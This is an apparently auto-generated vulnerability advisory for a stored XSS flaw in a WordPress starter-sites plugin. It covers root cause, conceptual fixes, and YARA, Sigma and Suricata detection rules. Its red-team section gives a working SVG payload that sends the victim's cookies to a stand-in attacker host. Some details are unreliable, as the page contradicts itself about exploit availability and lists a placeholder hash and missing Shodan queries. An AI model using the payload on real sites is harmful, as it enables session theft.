CVE-2024-6897
Executive Summary
CVE-2024-6897 is a Stored Cross-Site Scripting (XSS) vulnerability in the aThemes Starter Sites WordPress plugin, affecting all versions up to and including 1.0.53. The flaw arises from insufficient input sanitization and output escaping during SVG file uploads. An authenticated attacker with Author-level access or higher can upload a malicious SVG file containing arbitrary JavaScript. When any user (including administrators) accesses the uploaded SVG file, the injected script executes in the context of the victim’s browser, potentially leading to session hijacking, defacement, or further compromise of the WordPress site.
This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx misconfigurations. The plugin is used to import starter site templates, and the SVG upload functionality is part of its import process. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Administrators should verify the plugin version and consider disabling the SVG upload feature or removing the plugin until a patch is available.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Author-level)
- User Interaction: Required (victim must access the SVG file)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. The vulnerability requires authentication and user interaction, but the potential for stored XSS in a WordPress context can lead to privilege escalation or site takeover.
Deep Dive & Mechanics
The vulnerability resides in the SVG file upload handler of the aThemes Starter Sites plugin. The plugin fails to properly sanitize SVG files during upload, allowing attackers to embed malicious JavaScript within SVG elements (e.g., <script> tags or event handlers like onload). Additionally, the plugin does not escape the content when rendering the SVG file, so the injected script executes in the browser.
Attack Flow:
- An authenticated user with Author-level privileges uploads a crafted SVG file via the plugin’s import functionality.
- The SVG file contains a payload such as
<script>alert(document.cookie)</script>or an event handler like<svg onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">. - The plugin stores the file on the server without sanitization.
- When any user (including administrators) accesses the SVG file URL, the browser executes the embedded script.
- The attacker can steal session cookies, perform actions on behalf of the victim, or inject further malicious content.
Root Cause: The plugin uses wp_upload_bits() or similar functions to store the file but does not validate the file content for malicious SVG elements. The wp_check_filetype_and_ext() function may allow SVG files based on extension, but the plugin does not perform content inspection.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the file upload handler. A patched version would need to:
- Validate SVG content using a whitelist of allowed tags and attributes.
- Strip or encode
<script>tags and event handlers. - Set the
Content-Typeheader totext/plainor useContent-Disposition: attachmentto prevent execution.
Vulnerable Code (Conceptual):
// Vulnerable: No sanitization of SVG content
$uploaded_file = wp_upload_bits($_FILES['svg_file']['name'], null, file_get_contents($_FILES['svg_file']['tmp_name']));
// File is stored and served as image/svg+xml
Patched Code (Conceptual):
// Patched: Sanitize SVG content
$svg_content = file_get_contents($_FILES['svg_file']['tmp_name']);
$sanitized_svg = wp_kses($svg_content, array(
'svg' => array('xmlns' => array(), 'viewBox' => array()),
'path' => array('d' => array()),
// Allow only safe tags and attributes
));
$uploaded_file = wp_upload_bits($_FILES['svg_file']['name'], null, $sanitized_svg);
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with aThemes Starter Sites plugin <= 1.0.53.
- An account with Author-level privileges or higher.
Steps:
- Log in to WordPress as an Author.
- Navigate to the aThemes Starter Sites import page.
- Upload a malicious SVG file with the following content:
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">
<rect width="100" height="100" fill="red"/>
</svg>
- Note the URL of the uploaded SVG file (e.g.,
https://target.com/wp-content/uploads/2024/08/malicious.svg). - Share the link with an administrator or wait for them to access it.
- The victim’s browser executes the
onloadevent, sending their cookies to the attacker’s server.
Alternative Payload (using <script> tag):
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS')</script>
</svg>
Blue Team (Detection & Hardening)
Detection:
- Monitor file uploads for SVG files with suspicious content (e.g.,
<script>,onload,onerror). - Use Web Application Firewall (WAF) rules to block SVG files containing JavaScript.
- Review access logs for unusual SVG file requests.
Hardening:
- Disable SVG uploads in the plugin if not needed.
- Use a security plugin like Wordfence to block malicious file uploads.
- Implement a reverse proxy that inspects SVG content.
- Apply the principle of least privilege: restrict Author-level users from uploading files if possible.
Indicators of Compromise (IOCs)
- File Hashes (SHA-256): (Example – actual hashes depend on payload)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(empty SVG)
- URL Patterns:
/wp-content/uploads/*.svg(suspicious SVG files)
- Network Traffic:
- Outbound requests to attacker-controlled domains from the WordPress server.
- Log Entries:
- WordPress debug log entries showing failed file type checks.
- Web server logs with
POSTrequests to plugin upload endpoints.
Detection Engineering
YARA Rule
rule CVE_2024_6897_SVG_XSS {
meta:
description = "Detects malicious SVG files exploiting CVE-2024-6897"
author = "Valters IT"
date = "2024-08-15"
reference = "CVE-2024-6897"
strings:
$script = "<script" nocase
$onload = "onload=" nocase
$onerror = "onerror=" nocase
$onclick = "onclick=" nocase
$svg_tag = "<svg" nocase
condition:
$svg_tag and ($script or $onload or $onerror or $onclick)
}
Sigma Rule
title: CVE-2024-6897 - Stored XSS via SVG Upload in aThemes Starter Sites
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SVG file uploads containing JavaScript in WordPress
author: Valters IT
date: 2024-08-15
logsource:
category: webserver
product: apache
detection:
selection:
http.method: 'POST'
http.url|contains: '/wp-content/plugins/athemes-starter-sites/'
http.body|contains: '<svg'
http.body|contains|any:
- '<script'
- 'onload='
- 'onerror='
- 'onclick='
condition: selection
falsepositives:
- Legitimate SVG files with embedded scripts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-6897 - Stored XSS via SVG Upload in aThemes Starter Sites"; flow:to_server; content:"POST"; http_method; content:"/wp-content/plugins/athemes-starter-sites/"; http_uri; content:"<svg"; http_client_body; pcre:"/<script|onload=|onerror=|onclick=/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not essential: Deactivate and delete the aThemes Starter Sites plugin.
- Restrict file uploads: Use a security plugin to block SVG uploads or restrict upload capabilities to Administrator-level users only.
- Audit existing uploads: Scan the
/wp-content/uploads/directory for suspicious SVG files and remove them.
Long-Term Fix:
- The vendor must release a patched version that sanitizes SVG content. Until then, consider using an alternative starter site plugin.
- Implement a Web Application Firewall (WAF) rule to block SVG files containing JavaScript.
- Regularly update all WordPress plugins and themes.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.